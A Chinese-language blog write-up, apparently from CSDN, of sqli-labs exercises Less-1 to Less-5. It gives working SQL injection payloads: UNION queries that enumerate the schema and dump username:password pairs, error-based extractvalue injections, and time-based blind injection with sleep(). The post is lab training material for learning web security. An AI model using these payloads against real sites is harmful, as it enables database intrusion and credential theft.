sql注入

less-1

手工UNION联合注入方法

先随便输入单引号,查看页面报错,可以判断输入的1在数据库中出现的位置和语句为:select ... from ... where id=’1’ ......,

查看源码

当id=不正确的值时,

使用?id=-1' union select 1,2,database() --+命令爆库

可以看到security库名

使用?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+命令爆表

GROUP_CONCAT() 是一个聚合函数,主要用于将属于一组的相关行的数据项进行合并并以字符串的形式返回。

可以看到有emails,referers,uagents,users这几个表,很明显users我们需要的用户数据表

爆users的列名

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

通过SQL的UNION SELECT语句来绕过正常的查询逻辑,并从数据库的information_schema中获取users信息。

接下来爆破username和password的值

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

解释:从users表中检索用户的usernamepassword字段,并将它们以username:password的格式合并为一个字符串(每个条目之间用0x3a(即冒号:的十六进制表示)分隔)。

现在可以所有的用户和密码了

less-2

第一个题是字符型,这个题通过源代码可知是数字型注入

其余就没有什么差别

使用方法:手工报错型注入

检查报错型

?id=1' and 1=1--+    //正确
?id=1' and 1=2--+    //失败

证明确实存在手工报错型注入,

注意id=正确值

第一步爆出数据库表

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

注释:extractvalue()被用来执行一个子查询(select group_concat(table_name) from information_schema.tables where table_schema=database()),这里体现了报错注入的特点

0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的

可以看到有哪些表,一看users表可能有密码用户可能性更高

第二步爆users的列名(字段)

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

第三步,显然没有爆完

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+

主要是从information_schema.columns表中提取users表的所有列名,但排除了user_idfirst_namelast_nameuseravatarlast_loginfailed_login这些列。

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

显示users的值

?id=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

users表中提取除了用户名为DumbI-kill-you之外的所有用户的用户名和密码的示例。这里使用了extractvalue函数来尝试触发一个错误,该错误可能会暴露concat函数生成的字符串,该字符串包含了所有其他用户的用户名和密码,用户名和密码之间由冒号(:)分隔。

less-3

输入单引号,查看报错提示

在去看源码

解题思路:在第一题中id=1‘的后面单引号加上)

?id=0') union select 1,2,group_concat(username,0x3a,password) from users--+

less-4

输入单引号,没有报错

在试一试双引号,查看报错提示

查看源码

发现需要括号,可能是') ,")

但是单引号没有报错,这里是")

?id=0") union select 1,2,group_concat(username,0x3a,password) from users--+

less-5

根据提示,判断可能是布尔型盲注、报错型注入、时间延迟型盲注

爆破数据库的长度

?id=1' and if(length(database())=8,sleep(5),1)--+

会发现有很明显的延迟

接一下来,爆破数据库名

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

也有很明显的延迟,,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'

爆破表名

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='r' ,sleep(5),1)--+

爆破值

?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

参考的:sqli-lab教程——1-35通关Writeup_wamp sql-lab第7关-CSDN博客

我觉得写的很好,跟着做一边就慢慢有思路了

  • 24
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值